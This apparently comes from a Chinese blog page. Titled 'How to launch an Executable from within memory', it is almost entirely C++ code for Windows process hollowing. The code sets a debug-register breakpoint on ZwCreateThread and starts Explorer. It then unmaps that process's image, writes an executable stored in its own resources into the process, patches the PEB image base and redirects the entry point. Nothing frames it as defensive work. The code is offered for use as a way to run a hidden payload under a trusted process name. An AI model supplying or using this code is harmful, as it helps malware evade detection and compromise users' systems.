How to launch an Executable from within memory

 How to launch an Executable from within memory

 

#define WIN32_NO_STATUS
#include <windows.h>
#undef WIN32_NO_STATUS


namespace NT {
    extern "C" {


#pragma warning(disable: 4005) // macro redefinition
#include <ntddk.h>
#pragma warning(default: 4005)


    }
}
using NT::NTSTATUS;


typedef struct _DEBUG_CONTROL {
    ULONG L0 : 1;
    ULONG G0 : 1;
    ULONG L1 : 1;
    ULONG G1 : 1;
    ULONG L2 : 1;
    ULONG G2 : 1;
    ULONG L3 : 1;
    ULONG G3 : 1;
    ULONG LE : 1;
    ULONG GE : 1;
    ULONG : 3;
    ULONG GD : 1;
    ULONG : 2;
    ULONG RWE0 : 2;
    ULONG LEN0 : 2;
    ULONG RWE1 : 2;
    ULONG LEN1 : 2;
    ULONG RWE2 : 2;
    ULONG LEN2 : 2;
    ULONG RWE3 : 2;
    ULONG LEN3 : 2;
} DEBUG_CONTROL, *PDEBUG_CONTROL;

 

VOID preppatch()
{
    CONTEXT context = {CONTEXT_DEBUG_REGISTERS};


    PDEBUG_CONTROL dr7 = PDEBUG_CONTROL(&context.Dr7);


    context.Dr0 = ULONG(GetProcAddress(GetModuleHandle("ntdll.dll"),
"ZwCreateThread"));


    dr7->L0 = 1, dr7->RWE0 = 0, dr7->LEN0 = 0;


    SetThreadContext(GetCurrentThread(), &context);
}


LONG patch(PEXCEPTION_POINTERS ep)
{
    if (ep->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {


        HANDLE hProcess = PHANDLE(ep->ContextRecord->Esp)[4];


        PCONTEXT context = ((PCONTEXT*)(ep->ContextRecord->Esp))[6];


        NT::PROCESS_BASIC_INFORMATION pbi;


        NT::NtQueryInformationProcess(hProcess, NT::ProcessBasicInformation,
&pbi, sizeof pbi, 0);


        PVOID x; ReadProcessMemory(hProcess, PCHAR(pbi.PebBaseAddress) + 8,
&x, sizeof x, 0);


        NT::ZwUnmapViewOfSection(hProcess, x);


        HRSRC hRsrc = FindResource(0, "Image", "EXE");


        HGLOBAL hGlobal = LoadResource(0, hRsrc);


        PVOID p = LockResource(hGlobal);


        PIMAGE_NT_HEADERS nt = PIMAGE_NT_HEADERS(PCHAR(p) +
PIMAGE_DOS_HEADER(p)->e_lfanew);


        PVOID q = VirtualAllocEx(hProcess,
                                 PVOID(nt->OptionalHeader.ImageBase),
                                 nt->OptionalHeader.SizeOfImage,
                                 MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);


        WriteProcessMemory(hProcess, PCHAR(q), PCHAR(p), 0x1000, 0);


        PIMAGE_SECTION_HEADER sect = IMAGE_FIRST_SECTION(nt);


        for (ULONG i = 0; i < nt->FileHeader.NumberOfSections; i++)


            WriteProcessMemory(hProcess,
                               PCHAR(q) + sect[i].VirtualAddress,
                               PCHAR(p) + sect[i].PointerToRawData,
                               sect[i].SizeOfRawData, 0);


        WriteProcessMemory(hProcess, PCHAR(pbi.PebBaseAddress) + 8, &q,
sizeof q, 0);


        context->Eax = ULONG(q) + nt->OptionalHeader.AddressOfEntryPoint;


        ep->ContextRecord->Dr7 = 0;


        return EXCEPTION_CONTINUE_EXECUTION;
    }


    return EXCEPTION_CONTINUE_SEARCH;
}


int main(int argc, char *argv[])
{
    PROCESS_INFORMATION pi;
    STARTUPINFO si = {sizeof si};


    __try {
        preppatch();


        CreateProcess(0, "Explorer", 0, 0, FALSE, 0, 0, 0, &si, &pi);
    }
    __except (patch(GetExceptionInformation())) {}


    return 0;
}

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值